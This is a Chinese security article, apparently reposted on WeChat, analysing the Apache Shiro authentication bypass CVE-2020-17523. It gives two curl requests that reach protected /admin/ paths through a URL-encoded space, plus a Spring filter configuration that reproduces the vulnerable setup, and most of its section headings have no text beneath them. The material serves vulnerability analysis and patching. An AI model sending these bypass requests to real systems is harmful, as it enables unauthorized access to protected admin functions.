技术干货 | Apache Shiro权限绕过漏洞分析(CVE-2020-17523)

本公众号发布的文章均转载自互联网或经作者投稿授权的原创，文末已注明出处，其内容和图片版权归原网站或作者本人所有，并不代表安世加的观点，若有无意侵权或转载不当之处请联系我们处理，谢谢合作！

欢迎各位添加微信号：asj-jacky

加入安世加 交流群 和大佬们一起交流安全技术

背景

CVE-2020-17523复现

> curl -v "http://host/admin/%20"
> curl -v "http://host/admin/%20/"

复现配置

@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean(){
    ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
    bean.setSecurityManager(securityManager());
    Map<String, String> map = new LinkedHashMap<>();
    map.put("/admin/*", "authc");
    bean.setFilterChainDefinitionMap(map);
    return bean;
}

@GetMapping("/admin/{name}")
public String admin(@PathVariable String name) {
     return "admin page";
}

漏洞分析

漏洞影响

修复建议

THANKS FOR WAITCHING

---

About us

陌陌安全

致力于以务实的工作保障陌陌旗下所有产品及亿万用户的信息安全

以开放的心态拥抱信息安全机构、团队与个人之间的共赢协作

以自由的氛围和丰富的资源支撑优秀同学的个人发展与职业成长

本文始发于微信公众号（安世加）：技术干货 | Apache Shiro权限绕过漏洞分析(CVE-2020-17523)